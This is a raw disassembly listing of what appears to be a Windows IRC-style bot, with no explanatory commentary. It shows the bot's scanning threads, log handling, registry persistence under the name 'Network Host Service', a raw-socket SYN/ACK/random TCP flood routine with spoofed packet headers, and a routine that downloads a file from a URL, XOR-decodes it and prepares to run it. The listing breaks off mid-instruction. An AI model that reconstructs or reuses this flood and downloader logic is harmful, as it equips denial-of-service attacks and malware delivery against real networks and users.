push eax push [ebp+74h+var_BC] call sub_4056BF add esp, 14h loc_401C69: ; CODE XREF: sub_401B9D+B0j lea eax, [ebp+74h+var_80] push eax call sub_401EFF pop ecx pop edi pop esi xor eax, eax pop ebx add ebp, 74h leave retn 4 ; --------------------------------------------------------------------------- loc_401C7F: ; CODE XREF: sub_401B9D+7Fj ; sub_401B9D+9Bj cmp [ebp+74h+var_A0], edi mov eax, [ebp+74h+var_AC] mov esi, ds:dword_420000 mov dword_42E644[eax*8], edi jb loc_401D30 loc_401C98: ; CODE XREF: sub_401B9D+18Dj push edi push [ebp+74h+var_AC] lea eax, [ebp+74h+var_250] push [ebp+74h+var_B8] mov [ebp+74h+var_A4], edi push eax lea eax, [ebp+74h+var_80] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax call sub_414415 push ebx lea eax, [ebp+74h+var_80] push 9 push eax call sub_41229A mov ecx, [ebp+74h+var_AC] mov [ebp+74h+var_A8], eax imul eax, 234h add esp, 24h push ebx push ebx mov dword_4366A4[eax], ecx lea eax, [ebp+74h+var_250] push eax push offset sub_401967 push ebx push ebx call ds:dword_42000C ; CreateThread mov ecx, [ebp+74h+var_A8] imul ecx, 234h cmp eax, ebx mov dword_4366B4[ecx], eax jnz short loc_401D47 call ds:dword_420008 ; RtlGetLastWin32Error push eax lea eax, [ebp+74h+var_80] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push eax call sub_414415 lea eax, [ebp+74h+var_80] push eax call sub_401EFF add esp, 10h loc_401D22: ; CODE XREF: sub_401B9D+1AFj push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+74h+var_A0] jbe loc_401C98 loc_401D30: ; CODE XREF: sub_401B9D+F5j cmp [ebp+74h+var_B0], ebx jz short loc_401D55 mov eax, [ebp+74h+var_B0] imul eax, 0EA60h push eax call esi ; Sleep jmp short loc_401D62 ; --------------------------------------------------------------------------- loc_401D43: ; CODE XREF: sub_401B9D+1ADj push 1Eh call esi ; Sleep loc_401D47: ; CODE XREF: sub_401B9D+162j cmp [ebp+74h+var_84], ebx jz short loc_401D43 jmp short loc_401D22 ; --------------------------------------------------------------------------- loc_401D4E: ; CODE XREF: sub_401B9D+1C3j push 7D0h call esi ; Sleep loc_401D55: ; CODE XREF: sub_401B9D+196j mov eax, [ebp+74h+var_AC] cmp dword_42E644[eax*8], 1 jz short loc_401D4E loc_401D62: ; CODE XREF: sub_401B9D+1A4j push [ebp+74h+var_B0] mov eax, [ebp+74h+var_AC] push [ebp+74h+var_B8] mov eax, dword_42E640[eax*8] push eax call dword_435888 ; inet_ntoa push eax lea eax, [ebp+74h+var_80] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call sub_414415 add esp, 14h cmp [ebp+74h+var_90], ebx jnz short loc_401DAA push ebx push [ebp+74h+var_94] lea eax, [ebp+74h+var_80] push eax lea eax, [ebp+74h+var_1BC] push eax push [ebp+74h+var_BC] call sub_4056BF add esp, 14h loc_401DAA: ; CODE XREF: sub_401B9D+1F1j lea eax, [ebp+74h+var_80] push eax call sub_401EFF mov eax, [ebp+74h+var_AC] mov dword_42E644[eax*8], ebx mov [esp+290h+var_304], 0BB8h call esi ; Sleep push 9 call sub_41248A cmp eax, 1 pop ecx jnz short loc_401DDE push offset dword_42F5E0 call ds:dword_420024 ; RtlDeleteCriticalSection loc_401DDE: ; CODE XREF: sub_401B9D+234j push [ebp+74h+var_AC] call sub_41255E pop ecx push ebx call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_401B9D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401DEF proc near ; CODE XREF: sub_4089DC+3648p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi xor ebx, ebx mov edi, offset dword_47B398 loc_401DF9: ; CODE XREF: sub_401DEF+4Dj cmp byte ptr [edi], 0 jz short loc_401E40 mov esi, [esp+0Ch+arg_0] mov eax, edi loc_401E04: ; CODE XREF: sub_401DEF+31j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_401E26 test cl, cl jz short loc_401E22 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_401E26 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_401E04 loc_401E22: ; CODE XREF: sub_401DEF+1Fj xor eax, eax jmp short loc_401E2B ; --------------------------------------------------------------------------- loc_401E26: ; CODE XREF: sub_401DEF+1Bj ; sub_401DEF+29j sbb eax, eax sbb eax, 0FFFFFFFFh loc_401E2B: ; CODE XREF: sub_401DEF+35j test eax, eax jz short loc_401E40 add edi, 0B8h inc ebx cmp edi, offset dword_47BF18 jl short loc_401DF9 jmp short loc_401E81 ; --------------------------------------------------------------------------- loc_401E40: ; CODE XREF: sub_401DEF+Dj ; sub_401DEF+3Ej mov esi, ebx imul esi, 0B8h push 2Eh pop ecx push 17h push [esp+10h+arg_0] lea edx, dword_47B398[esi] xor eax, eax mov edi, edx push edx rep stosd call sub_4144A0 push 9Fh push [esp+1Ch+arg_4] lea eax, dword_47B3B0[esi] push eax call sub_4144A0 add esp, 18h inc dword_42C308 loc_401E81: ; CODE XREF: sub_401DEF+4Fj pop edi pop esi mov eax, ebx pop ebx retn sub_401DEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E87 proc near ; CODE XREF: sub_4089DC+4A57p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aAliasList ; "-[Alias List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h xor edi, edi mov esi, offset dword_47B398 loc_401EB1: ; CODE XREF: sub_401E87+72j cmp byte ptr [esi], 0 jz short loc_401EEC lea eax, [esi+18h] push eax push esi push edi push offset aD_SS ; "%d. %s = %s" lea eax, [ebp+var_200] push 200h push eax call sub_41466D push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 2Ch loc_401EEC: ; CODE XREF: sub_401E87+2Dj add esi, 0B8h inc edi cmp esi, offset dword_47BF18 jl short loc_401EB1 pop edi pop esi leave retn sub_401E87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401EFF proc near ; CODE XREF: sub_401000+BEp ; sub_4010CA+6Dp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+var_10] push eax call ds:dword_420028 ; GetLocalTime mov ebx, offset dword_433EF8 mov edi, 80h mov esi, offset dword_42FEF8 loc_401F21: ; CODE XREF: sub_401EFF+3Dj cmp byte ptr [ebx], 0 jz short loc_401F38 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_4144A0 add esp, 0Ch loc_401F38: ; CODE XREF: sub_401EFF+25j sub ebx, edi cmp ebx, esi jge short loc_401F21 push [ebp+arg_0] movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41466D add esp, 28h pop edi pop esi pop ebx leave retn sub_401EFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F73 proc near ; CODE XREF: sub_40887D+A4p ; sub_4089DC:loc_40BD74p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax push [ebp+arg_0] lea eax, [ebp+var_80] push 80h push eax call sub_4146C4 lea eax, [ebp+var_80] push eax call sub_401EFF add esp, 14h leave retn sub_401F73 endp ; =============== S U B R O U T I N E ======================================= sub_401F9F proc near ; CODE XREF: sub_4089DC+494Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_42FEF8 xor ecx, ecx loc_401FA6: ; CODE XREF: sub_401F9F+13j mov [eax], cl add eax, 80h cmp eax, offset dword_433EF8 jl short loc_401FA6 cmp [esp+arg_C], ecx push esi mov esi, offset aLogsCleared_ ; "[LOGS]: Cleared." jnz short loc_401FD6 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_4056BF add esp, 14h loc_401FD6: ; CODE XREF: sub_401F9F+1Fj push esi call sub_401EFF pop ecx pop esi retn sub_401F9F endp ; =============== S U B R O U T I N E ======================================= sub_401FDF proc near ; CODE XREF: .text:00413D1Dp arg_0 = dword ptr 4 push esi mov esi, offset dword_42FEF8 loc_401FE5: ; CODE XREF: sub_401FDF+27j cmp byte ptr [esi], 0 jz short loc_401FFA push [esp+4+arg_0] push esi call sub_406BB7 test eax, eax pop ecx pop ecx jnz short loc_40200C loc_401FFA: ; CODE XREF: sub_401FDF+9j add esi, 80h cmp esi, offset dword_433EF8 jl short loc_401FE5 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40200C: ; CODE XREF: sub_401FDF+19j xor eax, eax inc eax pop esi retn sub_401FDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402011 proc near ; DATA XREF: sub_4089DC+4A02o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] rep movsd xor edi, edi xor edx, edx inc edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_402064 push edx push [ebp+var_14] lea eax, [ebp+var_118] push offset aLogBegin ; "[LOG]: Begin" push eax push [ebp+var_11C] call sub_4056BF add esp, 14h loc_402064: ; CODE XREF: sub_402011+33j cmp [ebp+var_98], 0 jz short loc_402084 lea eax, [ebp+var_98] push eax call sub_4147A2 test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_402084 mov [ebp+var_8], eax loc_402084: ; CODE XREF: sub_402011+5Aj ; sub_402011+6Ej and [ebp+arg_0], 0 mov esi, offset dword_42FEF8 loc_40208D: ; CODE XREF: sub_402011+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_4020E7 cmp byte ptr [esi], 0 jz short loc_4020D6 cmp [ebp+var_98], 0 jz short loc_4020BC cmp [ebp+var_4], 0 jnz short loc_4020BC lea eax, [ebp+var_98] push eax push esi call sub_406BB7 test eax, eax pop ecx pop ecx jz short loc_4020D6 loc_4020BC: ; CODE XREF: sub_402011+90j ; sub_402011+96j push edi push [ebp+var_14] lea eax, [ebp+var_118] push esi push eax push [ebp+var_11C] call sub_4056BF add esp, 14h loc_4020D6: ; CODE XREF: sub_402011+87j ; sub_402011+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_433EF8 jl short loc_40208D loc_4020E7: ; CODE XREF: sub_402011+82j lea eax, [ebp+var_31C] push offset aLogListComplet ; "[LOG]: List complete." push eax call sub_414415 xor esi, esi cmp [ebp+var_10], esi pop ecx pop ecx jnz short loc_402121 push esi push [ebp+var_14] lea eax, [ebp+var_31C] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_4056BF add esp, 14h loc_402121: ; CODE XREF: sub_402011+EEj lea eax, [ebp+var_31C] push eax call sub_401EFF push [ebp+var_18] call sub_41255E pop ecx pop ecx push esi call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_402011 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40213F proc near ; CODE XREF: sub_4069F7+1Ep ; sub_40E6BB+34Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset aNetworkHostSer ; "Network Host Service" loc_40214F: ; CODE XREF: sub_40213F+6Fj push ebx lea eax, [ebp+var_4] push eax push ebx push 0F003Fh push ebx push ebx push ebx push off_42B3CC[edi] push dword_42B3C8[edi] call dword_435850 ; RegCreateKeyExA mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_402195 lea edx, [eax+1] loc_402179: ; CODE XREF: sub_40213F+3Fj mov cl, [eax] inc eax cmp cl, bl jnz short loc_402179 sub eax, edx push eax push [ebp+arg_0] push 1 push ebx push esi push [ebp+var_4] call dword_4357EC ; RegSetValueExA jmp short loc_40219F ; --------------------------------------------------------------------------- loc_402195: ; CODE XREF: sub_40213F+35j push esi push [ebp+var_4] call dword_435844 ; RegDeleteValueA loc_40219F: ; CODE XREF: sub_40213F+54j push [ebp+var_4] call dword_4358E4 ; RegCloseKey add edi, 8 cmp edi, 18h jb short loc_40214F pop edi pop esi pop ebx leave retn sub_40213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=64h sub_4021B5 proc near ; CODE XREF: sub_4024A4+40p var_288 = byte ptr -288h var_F8 = byte ptr -0F8h var_B8 = word ptr -0B8h var_B6 = word ptr -0B6h var_B4 = dword ptr -0B4h var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_94 = byte ptr -94h var_88 = byte ptr -88h var_80 = byte ptr -80h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp lea ebp, [esp-64h] sub esp, 288h push ebx push edi push 0Eh pop ecx xor eax, eax xor ebx, ebx mov [ebp+64h+var_A8], bl lea edi, [ebp+64h+var_A7] rep stosd stosw stosb lea eax, [ebp+64h+var_288] push eax push 202h call dword_435818 ; WSAStartup test eax, eax jz short loc_4021F1 xor eax, eax jmp loc_40249D ; --------------------------------------------------------------------------- loc_4021F1: ; CODE XREF: sub_4021B5+33j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43578C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+64h+var_18], eax jz loc_402495 push 4 lea ecx, [ebp+64h+var_44] push ecx push 2 push ebx push eax mov [ebp+64h+var_44], edi call dword_435824 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_40248C push esi push [ebp+64h+arg_C] mov [ebp+64h+var_B8], 2 call dword_435954 ; htons mov esi, [ebp+64h+arg_0] push 28h mov [ebp+64h+var_B6], ax mov [ebp+64h+var_B4], esi mov [ebp+64h+var_30], 45h call dword_435954 ; htons push [ebp+64h+arg_C] mov [ebp+64h+var_2E], ax mov [ebp+64h+var_2C], di mov [ebp+64h+var_2A], bx mov [ebp+64h+var_28], 80h mov [ebp+64h+var_27], 6 mov [ebp+64h+var_26], bx mov [ebp+64h+var_20], esi call dword_435954 ; htons mov [ebp+64h+var_12], ax call sub_4145D1 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_435954 ; htons push 12345678h call dword_43592C ; htonl mov esi, [ebp+64h+arg_8] push 9 mov edi, offset aDdos_syn ; "ddos.syn" pop ecx xor eax, eax repe cmpsb jnz short loc_4022B8 mov [ebp+64h+var_C], ebx mov [ebp+64h+var_7], 2 jmp short loc_402308 ; --------------------------------------------------------------------------- loc_4022B8: ; CODE XREF: sub_4021B5+F8j mov esi, [ebp+64h+arg_8] push 9 mov edi, offset aDdos_ack ; "ddos.ack" pop ecx xor eax, eax repe cmpsb jnz short loc_4022D2 mov [ebp+64h+var_C], ebx mov [ebp+64h+var_7], 10h jmp short loc_402308 ; --------------------------------------------------------------------------- loc_4022D2: ; CODE XREF: sub_4021B5+112j mov esi, [ebp+64h+arg_8] push 0Ch mov edi, offset aDdos_random ; "ddos.random" pop ecx xor eax, eax repe cmpsb jnz short loc_402308 call sub_4145D1 cdq push 3 pop ecx idiv ecx mov [ebp+64h+var_C], edx call sub_4145D1 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+64h+var_7], dl loc_402308: ; CODE XREF: sub_4021B5+101j ; sub_4021B5+11Bj ... push 4000h mov [ebp+64h+var_8], 50h call dword_435954 ; htons mov [ebp+64h+var_6], ax lea eax, [ebp+64h+var_6C] push eax mov [ebp+64h+var_2], bx mov [ebp+64h+var_1C], ebx call ds:dword_420030 ; QueryPerformanceFrequency lea eax, [ebp+64h+var_38] push eax call ds:dword_42002C ; QueryPerformanceCounter push [ebp+64h+var_68] mov eax, [ebp+64h+arg_10] push [ebp+64h+var_6C] cdq push edx push eax call sub_414CC0 add eax, [ebp+64h+var_38] adc edx, [ebp+64h+var_34] mov [ebp+64h+var_40], eax mov [ebp+64h+var_3C], edx jmp short loc_40237C ; --------------------------------------------------------------------------- loc_402355: ; CODE XREF: sub_4021B5+2A4j add [ebp+64h+var_1C], eax lea eax, [ebp+64h+var_38] push eax call ds:dword_42002C ; QueryPerformanceCounter mov eax, [ebp+64h+var_34] cmp eax, [ebp+64h+var_3C] jg loc_402488 jl short loc_40237C mov eax, [ebp+64h+var_38] cmp eax, [ebp+64h+var_40] jnb loc_402488 loc_40237C: ; CODE XREF: sub_4021B5+19Ej ; sub_4021B5+1B9j mov [ebp+64h+var_4], bx call sub_4145D1 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_435954 ; htons mov [ebp+64h+var_14], ax call sub_4145D1 call sub_4145D1 push eax call dword_435954 ; htons push [ebp+64h+arg_4] movzx eax, ax mov [ebp+64h+var_10], eax call dword_43592C ; htonl inc [ebp+64h+arg_4] mov esi, eax mov eax, [ebp+64h+arg_0] push 14h mov [ebp+64h+var_60], eax mov [ebp+64h+var_24], esi mov [ebp+64h+var_5C], bl mov [ebp+64h+var_5B], 6 call dword_435954 ; htons push 8 pop ecx mov [ebp+64h+var_64], esi mov [ebp+64h+var_5A], ax push 5 lea esi, [ebp+64h+var_64] lea edi, [ebp+64h+var_A8] rep movsd pop ecx lea eax, [ebp+64h+var_A8] push 34h lea esi, [ebp+64h+var_14] lea edi, [ebp+64h+var_88] push eax rep movsd call sub_407D6B push 5 pop ecx push 5 lea esi, [ebp+64h+var_30] lea edi, [ebp+64h+var_A8] rep movsd mov [ebp+64h+var_4], ax pop ecx lea esi, [ebp+64h+var_14] lea edi, [ebp+64h+var_94] rep movsd xor eax, eax lea edi, [ebp+64h+var_80] stosd lea eax, [ebp+64h+var_A8] push 28h push eax call sub_407D6B add esp, 10h push 5 pop ecx push 10h mov [ebp+64h+var_26], ax lea eax, [ebp+64h+var_B8] push eax push ebx push 28h lea eax, [ebp+64h+var_A8] push eax push [ebp+64h+var_18] lea esi, [ebp+64h+var_30] lea edi, [ebp+64h+var_A8] rep movsd call dword_4357D8 ; sendto cmp eax, 0FFFFFFFFh jnz loc_402355 call dword_4358C0 ; WSAGetLastError push eax lea eax, [ebp+64h+var_F8] push offset aDdosSendErrorD ; "[DDoS]: Send error: <%d>." push eax call sub_414415 lea eax, [ebp+64h+var_F8] push eax call sub_401EFF add esp, 10h jmp short loc_40248B ; --------------------------------------------------------------------------- loc_402488: ; CODE XREF: sub_4021B5+1B3j ; sub_4021B5+1C1j mov ebx, [ebp+64h+var_1C] loc_40248B: ; CODE XREF: sub_4021B5+2D1j pop esi loc_40248C: ; CODE XREF: sub_4021B5+73j push [ebp+64h+var_18] call dword_435914 ; closesocket loc_402495: ; CODE XREF: sub_4021B5+57j call dword_435920 ; WSACleanup mov eax, ebx loc_40249D: ; CODE XREF: sub_4021B5+37j pop edi pop ebx add ebp, 64h leave retn sub_4021B5 endp ; =============== S U B R O U T I N E ======================================= sub_4024A4 proc near ; CODE XREF: sub_402500+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_407BFF push [esp+10h+arg_4] mov esi, eax call sub_4147A2 push [esp+14h+arg_C] mov ebx, eax call sub_4147A2 mov edi, eax call sub_4145D1 cdq mov ecx, 200h idiv ecx push edi push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4021B5 add esp, 20h test eax, eax jnz short loc_4024F1 inc eax loc_4024F1: ; CODE XREF: sub_4024A4+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4024A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402500 proc near ; DATA XREF: sub_4089DC+2AE5o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov esi, eax mov ecx, 0A5h lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call ds:dword_420004 ; GetTickCount push eax call sub_4145C4 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4024A4 push eax lea eax, [ebp+var_494] push offset aDdosDoneWithFl ; "[DDoS]: Done with flood (%iKB/sec)." push eax call sub_414415 xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_402590 push esi push [ebp+var_C] lea eax, [ebp+var_494] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_4056BF add esp, 14h loc_402590: ; CODE XREF: sub_402500+6Ej lea eax, [ebp+var_494] push eax call sub_401EFF push [ebp+var_290] call sub_41255E pop ecx pop ecx push esi call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_402500 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4025B1 proc near ; CODE XREF: sub_4025CE+109p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_4025CD loc_4025BD: ; CODE XREF: sub_4025B1+1Aj mov dl, byte_42BED0 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4025BD locret_4025CD: ; CODE XREF: sub_4025B1+Aj retn sub_4025B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4025CE proc near ; DATA XREF: sub_4089DC+28D5o ; sub_4089DC+30CEo var_88C = qword ptr -88Ch var_880 = qword ptr -880h var_810 = byte ptr -810h var_610 = byte ptr -610h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_38C = byte ptr -38Ch var_28C = byte ptr -28Ch var_18C = byte ptr -18Ch var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_68 = dword ptr -68h var_5C = dword ptr -5Ch var_3C = dword ptr -3Ch var_38 = word ptr -38h var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 810h mov eax, [ebp+arg_0] push ebx push esi push edi xor ebx, ebx push ebx mov esi, eax mov ecx, 0EAh lea edi, [ebp+var_410] rep movsd push ebx xor esi, esi push ebx inc esi mov [eax+3A4h], esi push ebx lea eax, [ebp+var_38C] push eax push dword_435948 call dword_435810 ; InternetOpenUrlA cmp eax, ebx mov [ebp+var_C], eax jz loc_402A7D push ebx push ebx push 2 push ebx push ebx push 40000000h lea eax, [ebp+var_28C] push eax call ds:dword_420044 ; CreateFileA cmp eax, esi mov [ebp+var_10], eax jnb short loc_402695 lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_610] push offset aDownloadCouldn ; "[DOWNLOAD]: Couldn't open file: %s." push eax call sub_414415 add esp, 0Ch cmp [ebp+var_74], ebx jnz short loc_402678 push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_4056BF add esp, 14h loc_402678: ; CODE XREF: sub_4025CE+88j lea eax, [ebp+var_610] push eax call sub_401EFF push [ebp+var_8C] call sub_41255E pop ecx jmp loc_402ADE ; --------------------------------------------------------------------------- loc_402695: ; CODE XREF: sub_4025CE+68j xor esi, esi call ds:dword_420004 ; GetTickCount mov [ebp+var_4], eax loc_4026A0: ; CODE XREF: sub_4025CE+174j xor eax, eax mov ecx, 80h lea edi, [ebp+var_610] rep stosd lea eax, [ebp+arg_0] push eax push 200h lea eax, [ebp+var_610] push eax push [ebp+var_C] call dword_4358B4 ; InternetReadFile cmp [ebp+var_78], ebx jz short loc_4026DE push [ebp+arg_0] lea eax, [ebp+var_610] push eax call sub_4025B1 pop ecx pop ecx loc_4026DE: ; CODE XREF: sub_4025CE+FDj push ebx lea eax, [ebp+var_14] push eax push [ebp+arg_0] lea eax, [ebp+var_610] push eax push [ebp+var_10] call ds:dword_420040 ; WriteFile add esi, [ebp+arg_0] cmp [ebp+var_80], ebx jz short loc_402703 cmp esi, [ebp+var_80] ja short loc_402748 loc_402703: ; CODE XREF: sub_4025CE+12Ej mov eax, esi shr eax, 0Ah push eax lea eax, [ebp+var_38C] push eax mov eax, [ebp+var_8C] imul eax, 234h add eax, offset dword_4364A0 cmp [ebp+var_88], 1 jz short loc_402731 push offset aDownloadFileDo ; "[DOWNLOAD]: File download: %s (%dKB tra"... jmp short loc_402736 ; --------------------------------------------------------------------------- loc_402731: ; CODE XREF: sub_4025CE+15Aj push offset aDownloadUpdate ; "[DOWNLOAD]: Update: %s (%dKB transferre"... loc_402736: ; CODE XREF: sub_4025CE+161j push eax call sub_414415 add esp, 10h cmp [ebp+arg_0], ebx ja loc_4026A0 loc_402748: ; CODE XREF: sub_4025CE+133j cmp [ebp+var_80], ebx mov [ebp+var_8], 1 jz short loc_40279D cmp esi, [ebp+var_80] jz short loc_40279D push [ebp+var_80] lea eax, [ebp+var_610] push esi push offset aDownloadFilesi ; "[DOWNLOAD]: Filesize is incorrect: (%d "... push eax mov [ebp+var_8], ebx call sub_414415 push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_4056BF lea eax, [ebp+var_610] push eax call sub_401EFF add esp, 28h loc_40279D: ; CODE XREF: sub_4025CE+184j ; sub_4025CE+189j call ds:dword_420004 ; GetTickCount sub eax, [ebp+var_4] xor edx, edx mov ecx, 3E8h div ecx xor edx, edx push [ebp+var_10] mov ecx, eax inc ecx mov eax, esi div ecx mov edi, eax call ds:dword_42003C ; CloseHandle cmp [ebp+var_8], ebx jz loc_402ACA cmp [ebp+var_88], 1 jz loc_40298E test edi, edi mov [ebp+var_4], edi fild [ebp+var_4] jge short loc_4027E9 fadd ds:dbl_420B48 loc_4027E9: ; CODE XREF: sub_4025CE+213j test esi, esi fmul ds:dbl_420B40 push ecx push ecx fstp [esp+880h+var_880] lea eax, [ebp+var_28C] mov [ebp+var_4], esi fild [ebp+var_4] push eax jge short loc_40280B fadd ds:dbl_420B48 loc_40280B: ; CODE XREF: sub_4025CE+235j fmul ds:dbl_420B40 push ecx push ecx lea eax, [ebp+var_610] fstp [esp+88Ch+var_88C] push offset aDownloadDownlo ; "[DOWNLOAD]: Downloaded %.1f KB to %s @ "... push eax call sub_414415 add esp, 1Ch cmp [ebp+var_74], ebx jnz short loc_40284F push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_4056BF add esp, 14h loc_40284F: ; CODE XREF: sub_4025CE+25Fj lea eax, [ebp+var_610] push eax call sub_401EFF cmp [ebp+var_84], 1 pop ecx jnz loc_402ACA cmp [ebp+var_74], ebx jnz short loc_4028B9 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_610] push offset aDownloadOpenni ; "[DOWNLOAD]: Openning: %s %s." push eax call sub_414415 push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_4056BF lea eax, [ebp+var_610] push eax call sub_401EFF add esp, 28h loc_4028B9: ; CODE XREF: sub_4025CE+29Ej xor eax, eax lea edi, [ebp+var_24] stosd stosd stosd stosd push 11h xor eax, eax pop ecx lea edi, [ebp+var_68] rep stosd mov ecx, 80h lea edi, 